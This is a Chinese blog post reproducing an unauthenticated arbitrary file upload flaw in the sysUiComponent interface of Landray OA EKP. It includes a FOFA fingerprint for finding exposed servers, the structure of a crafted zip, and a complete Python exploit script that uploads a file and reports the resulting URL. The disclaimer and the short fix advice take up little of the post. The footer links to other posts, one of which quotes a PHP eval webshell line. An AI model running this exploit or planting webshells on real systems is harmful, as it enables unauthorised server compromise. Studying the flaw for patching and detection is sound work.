首页 > 其他分享 >【漏洞复现】蓝凌OA sysUiComponent 任意文件上传漏洞

【漏洞复现】蓝凌OA sysUiComponent 任意文件上传漏洞

时间:2023-11-26 22:55:36浏览次数:71  
标签:scheme sysUiComponent self netloc OA 漏洞 url x00

阅读须知

  此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

产品介绍

  EKP,是蓝凌旗下的协同办公平台,其定位在平台型产品,它是结合蓝凌知识管理及移动互联网理念设计,综合企业管理支撑系统发展而来,并将协同办公、知识共享、文化管理、战略管理等融合为一体,通过企业门户统一战线,满足用户个性化办公要求的一体化工作平台。

漏洞概述

  蓝凌OA sysUiComponent接口处存在任意文件上传漏洞,未经过身份认证的攻击者可通过构造压缩文件上传恶意后门文件,远程命令执行,获取服务器权限。

复现环境

FOFA:icon_hash="831854882"

漏洞复现

构建测试压缩包(共两个文件,分别为:component.ini 和 上传的文件)

component.ini的文件内容如下:

id=2023
name=123.txt

其中,id为上传后的路径,name为上传的文件名,如下:

EXP如下:

 1 import requests
 2 from urllib.parse import urlparse
 3 from requests.packages.urllib3 import disable_warnings
 4 disable_warnings()
 5 
 6 
 7 class poc:
 8     def __init__(self, url):
 9         self.url = url
10         self.headers = {
11             'User-Agent': 'Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)',
12             "Accept-Language": "en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
13             "Accept-Encoding": "gzip, deflate",
14         }
15 
16     def host(self):
17         url = urlparse(self.url)
18         netloc = url.netloc
19         scheme = url.scheme
20         return scheme, netloc
21 
22     def vuln(self, netloc, scheme):
23         url = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo".format(scheme, netloc)
24         data = {
25             "file": ("test.zip", b"PK\x03\x04\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00123.txt123PK\x03\x04\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00component.iniid=2023\r\nname=123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x00123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00(\x00\x00\x00component.iniPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00p\x00\x00\x00h\x00\x00\x00\x00\x00", "application/zip")
26         }
27         self.headers["Referer"] = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=upload".format(scheme, netloc)
28         try:
29             result = requests.post(url=url, files=data, headers=self.headers, allow_redirects=False, verify=False, timeout=3)
30             if result.status_code == 200 and "directoryPath" in result.text:
31                 print("漏洞存在!")
32                 print("验证url为:{}://{}/resource/ui-component/2023/123.txt".format(scheme, netloc))
33                 return True
34             else:
35                 print("漏洞不存在!")
36                 return False
37         except Exception as e:
38             print("漏洞不存在!")
39             return False
40 
41     def main(self):
42         all = self.host()
43         scheme = all[0]
44         netloc = all[1]
45         self.vuln(netloc, scheme)
46 
47 
48 if __name__ == '__main__':
49     url = "http://x.x.x.x"
50     poc(url).main()

验证url:

http://x.x.x.x/resource/ui-component/2023/123.txt

PS:我这里上传的都是无害文件。

修复建议

1、文件上传模块做好权限管控;

2、升级至安全版本或打补丁。

 

标签:scheme,sysUiComponent,self,netloc,OA,漏洞,url,x00
From: https://www.cnblogs.com/spmonkey/p/17858153.html

相关文章

  • [极客大挑战 2019]Upload 1
    首先进入网址 发现是文件上传创建一个test.php文件,写入一句话木马<?phpeval($_POST['b'])?>,然后上传 提示不是图片抓个包,发现content-type不是图片类型 将其改成  image/png, 再重新放包,结果提示过滤了php 再尝试php3,pht也过滤 当尝试phtml,发现’<?'......
  • OAuth原理
    1.快递员场景问题:如何让快递员通过门禁系统进入小区送货?①.把自己的密码告诉快递员=>不太合适a.拥有和我同样的权限.b.我想取消他进入小区的权力=>自己的密码需要改,还得通知其他的快递员.②.让快递员能够自由进入小区a.不必知道小区居民的密码.......
  • WEB安全漏洞扫描及其审计
    一.实验目的(1)掌握网络漏洞扫描的原理和方法(2)复习Nmap的使用命令和kali的使用(3)学习开源扫描工具Nikto的使用phpstudy软件下载地址链接:https://pan.baidu.com/s/1g5nvonNm-p57kv-L68q9AQ?pwd=poza提取码:poza二.实验环境Windows7虚拟机一台,kali虚拟机一台 三.实验工具VMW......
  • 关于 ABAP OPEN SQL 注入漏洞的防御
    SQL注入是一种代码注入技术,攻击者通过在查询中注入恶意SQL代码,以此改变查询的原始意图。这可能导致未授权的数据访问、数据篡改、甚至数据丢失。在SAPABAP中,SQL注入的风险主要来自于动态构造的SQL语句。ABAP提供了OpenSQL和NativeSQL两种方式来访问数据库,其中Op......
  • 近期 OpenAI 惊现 ChatGPT 3.5 用户可以越权使用 ChatGPT 4 的漏洞
    ChatGPT4.0每个月20美元的订阅费用,让不少想尝试的朋友们有点犹豫不决。昨晚(2023年11月16日)睡觉之前我刷到这样一条新闻,ChatGPT3.5的用户,可以通过url里拼接参数的方式,直接使用ChatGPTGizmo模型。看具体的效果吧。下面部分截图,来自掘金社区这篇帖子。ChatGPT3.5......
  • API成批分配漏洞介绍
    API成批分配漏洞介绍API特定:可利用性2    利用通常需要了解业务逻辑、对象关系和API结构。在API中利用批量分配更容易,因为按照设计,它们公开了应用程序的底层实现以及属性名称。安全弱点:     现代框架鼓励开发人员使用自动将客户端输入绑定到代码变量和内部对象......
  • 通达OA-前台SQL注入
    通达OA-前台SQL注入1、前言免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!2、漏洞复现(1)通过FOFA搜索有漏洞的......
  • 谨防利用Redis未授权访问漏洞入侵服务器
    说明:Redis是一个开源的,由C语言编写的高性能NoSQL数据库,因其高性能、可扩展、兼容性强,被各大小互联网公司或个人作为内存型存储组件使用。但是其中有小部分公司或个人开发者,为了方便调试或忽略了安全风险,没有设置密码并直接对外开放了6379端口,那么这就是一个危险的行为。漏洞成......
  • JeecgBoot3.5 漏洞升级 — 快速文档
    近几年来,黑客攻击行为呈现出日益复杂和隐蔽的趋势,对个人和组织的安全造成了严重威胁。黑客们不断寻找新的漏洞和安全漏洞,利用各种手段进行网络攻击,包括恶意软件、网络钓鱼、勒索软件等。因此,我们每个人都需要关注漏洞风险,加强网络安全意识,及时更新系统补丁。目前有网友反馈受到攻......
  • JeecgBoot3.0 漏洞升级 — 快速文档
    近几年来,黑客攻击行为呈现出日益复杂和隐蔽的趋势,对个人和组织的安全造成了严重威胁。黑客们不断寻找新的漏洞和安全漏洞,利用各种手段进行网络攻击,包括恶意软件、网络钓鱼、勒索软件等。因此,我们每个人都需要关注漏洞风险,加强网络安全意识,及时更新系统补丁。目前有网友反馈受到攻......